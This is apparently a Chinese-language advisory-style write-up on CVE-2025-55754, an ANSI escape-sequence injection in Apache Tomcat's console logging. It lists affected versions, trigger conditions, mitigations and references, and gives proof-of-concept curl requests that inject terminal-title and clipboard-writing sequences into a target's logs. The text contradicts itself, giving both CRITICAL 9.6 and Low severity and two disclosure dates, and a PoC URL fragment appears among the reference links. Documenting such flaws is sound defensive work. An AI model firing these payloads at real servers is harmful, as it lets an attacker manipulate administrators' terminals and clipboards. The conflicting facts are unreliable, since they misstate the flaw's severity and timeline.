一、漏洞简介¶
1.1 漏洞背景¶
Tomcat 的日志系统会记录请求的 URL 和其他相关信息。当 Tomcat 在控制台模式下运行时,日志输出可能包含 ANSI 转义序列。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2025-55754 |
| 危害等级 | CRITICAL / 9.6 |
| 漏洞类型 | 日志 ANSI 转义序列注入漏洞 |
| 披露时间 | 2025-10-27 |
| 影响组件 | Apache Tomcat 历史 |
- CVE 编号:CVE-2025-55754
- 危害等级:Low(低)
- 披露时间:2025年9月
- 漏洞类型:终端控制注入 / 剪贴板操纵
补充核验信息:公开时间:2025-10-27;NVD 评分:9.6(CRITICAL);CWE:CWE-150。
二、影响范围¶
2.1 受影响的版本¶
| 版本系列 | 受影响范围 |
|---|---|
| Tomcat 9.x | 9.0.40 ~ 9.0.108 |
| Tomcat 10.x | 10.1.0-M1 ~ 10.1.44 |
| Tomcat 11.x | 11.0.0-M1 ~ 11.0.0 |
2.2 不受影响的版本¶
| 版本系列 | 修复版本 |
|---|---|
| Tomcat 9.x | ≥ 9.0.109 |
| Tomcat 10.x | ≥ 10.1.45 |
| Tomcat 11.x | ≥ 11.0.1 |
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Tomcat 在 Windows 控制台中运行
- 控制台支持 ANSI 转义序列(如 Windows Terminal)
- 攻击者能够构造包含 ANSI 转义序列的请求
- 管理员查看控制台日志
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击者可以通过构造包含 ANSI 转义序列的 URL,当 Tomcat 将请求信息记录到控制台时,这些转义序列会被终端解释执行,可能导致:
- 终端文本颜色/格式篡改:修改终端显示外观
- 剪贴板操纵:使用特定 ANSI 序列读取或修改剪贴板内容
- 社会工程攻击:通过终端显示伪造的命令提示,诱骗管理员执行恶意命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题位置:org.apache.juli.logging 相关类
攻击示例 URL:
http://target:8080/\x1b]1337;CopyToClipboard=data\x07
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 在 Windows 上使用支持 ANSI 的终端运行 Tomcat
cd %CATALINA_HOME%\bin
catalina.bat run
4.2 PoC 演示与测试过程¶
# 发送包含 ANSI 转义序列的请求
# 以下示例会尝试操纵终端标题
curl "http://target:8080/\x1b]2;Malicious%20Title\x07"
# 某些终端支持的剪贴板操纵序列
curl "http://target:8080/\x1b]52;c;$(echo 'malicious command' | base64)\x07"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级至修复版本(9.0.109 / 10.1.45 / 11.0.1 或更高版本)。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 使用日志文件而非控制台输出:
# 启动时使用
catalina.bat start
# 而非
catalina.bat run
- 配置日志框架过滤 ANSI 序列:
在
conf/logging.properties中配置适当的过滤器。
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://lists.apache.org/thread/j7w54hqbkfcn0xb9xy0wnx8w5nymcbqd
- https://tomcat.apache.org/security-9.html
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-55754
- CVE:https://www.cve.org/CVERecord?id=CVE-2025-55754
- http://www.openwall.com/lists/oss-security/2025/10/27/5
- http://target:8080/\x1b
- https://tomcat.apache.org/security-9.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55754